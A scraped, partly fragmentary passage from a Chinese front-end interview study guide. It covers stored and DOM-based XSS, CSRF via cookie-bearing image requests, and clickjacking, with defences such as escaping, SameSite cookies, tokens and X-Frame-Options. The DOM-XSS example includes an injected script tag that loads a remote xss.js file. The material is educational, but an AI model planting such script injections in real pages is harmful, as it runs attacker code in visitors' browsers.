模范爸爸|「干货满满」1.5w字初中级前端面试复习总结( 六 )


模范爸爸|「干货满满」1.5w字初中级前端面试复习总结
文章图片
存储型 XSS存储型 XSS 也叫“持久型XSS” , 会把用户输入的数据存储在服务端 , 这种XSS具有很强的稳定性 。
案例:
比如攻击者在一篇博客下留言 , 留言包含恶意代码 , 提交到服务端后被存储到数据库 。 所有访问该博客的用户 , 在加载出这条留言时 , 会在他们的浏览器中执行这段恶意的代码 。
DOM 型 XSSDOM 型 XSS 是一种特殊的反射型 XSS , 它也是非持久型 XSS 。 相比于反射型 XSS , 它不需要经过服务端 , 而是改变页面 DOM 来达到攻击 。 同样 , 这种攻击方式也需要诱导用户点击 。
案例:
目标页面:
hello恶意代码链接:
;srcipt src="http://kandian.youth.cn/index/xss.js">防御手段

  1. 参数验证 , 不符合要求的数据不要存入数据库
  2. 对特殊字符转义 , 如"<"、">"、"/"、"">
    模范爸爸|「干货满满」1.5w字初中级前端面试复习总结文章图片
    攻击者伪装该网站链接并诱导用户进行点击 , 用户恰好访问过 blog.com , 与该网站的 cookie 身份验证信息还未过期 。 这时进入攻击者的网站 , img 发起请求 , 请求里携带上cookie , 成功删除博文 。 但是对于用户是无感知的 , 当用户返回到博客时会发现博文不见了 , 而这个请求是属于合法请求 , 因为攻击者借用受害者的身份信息进行操作 。
    防御手段
    1. 设置 Cookie 的 SameSite
    2. 服务端验证 Refer 字段 , Refer 是请求源网址 , 对于不合法的 Refer 拒绝请求
    3. 添加 token , 让链接变得不可预测 , 攻击者无法构造一个完整的 URL 实施 CSRF 攻击
    4. 添加验证码 , 强制用户必须与应用交互 , 但会降低用户体验 , 只能作为辅助手段
    点击劫持(ClickJacking)攻击者创建一个网页利用 iframe 包含目标网站 , 然后通过设置透明度等方式隐藏目标网站 , 使用户无法察觉目标网站的存在 , 并且把它遮罩在网页上 。 在网页中诱导用户点击特定的按钮 , 而这个按钮的位置和目标网站的某个按钮重合 , 当用户点击网页上的按钮时 , 实际上是点击目标网站的按钮 。
    防御手段
    1. frame busting , 通常可以写一段JavaScript , 以禁止 iframe 的嵌套 。
    if (top.location != location) {top.location = self.location}
    1. 添加 HTTP 头 X-Frame-Options
    参考资料
    • 《JavaScript高级程序设计(第3版)》
    • 《你不知道的JavaScript(上卷)》
    • 《JavaScript设计模式与开发实践》
    • 《白帽子讲Web安全》
    • ES6 入门教程
    • Vue.js 技术揭秘
    • 前端模块化详解(完整版)
    • HTML规范 - 解析HTML文档
    • 浏览器层合成与页面渲染优化
    • 10种跨域解决方案(附终极大招)
    • MDN - HTTP访问控制(CORS)
    • HTML规范 - 事件循环
    • MDN - 深入:微任务与Javascript运行时环境
    • 深入解析你不知道的 EventLoop 和浏览器渲染、帧动画、空闲回调(动图演示)
    • Tasks, microtasks, queues and schedules
    • 牛皮了 , 头一次见有大佬把TCP三次握手四次挥手解释的这么明白
    • 你连 HTTPS 原理都不懂 , 还讲“中间人攻击”?
    • 进阶 · 那些你必须搞懂的网络基础
    转自
    喜欢的朋友点一下关注 点关注不迷路